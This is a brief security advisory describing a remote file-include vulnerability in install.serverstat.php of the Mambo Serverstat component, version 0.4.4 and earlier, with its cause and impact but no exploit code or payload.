Discussion
Mambo Serverstat Component Install.Serverstat.PHP Remote File Include Vulnerability
The Mambo Serverstat component is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
Version 0.4.4 and earlier are vulnerable to this issue; other versions may also be affected.
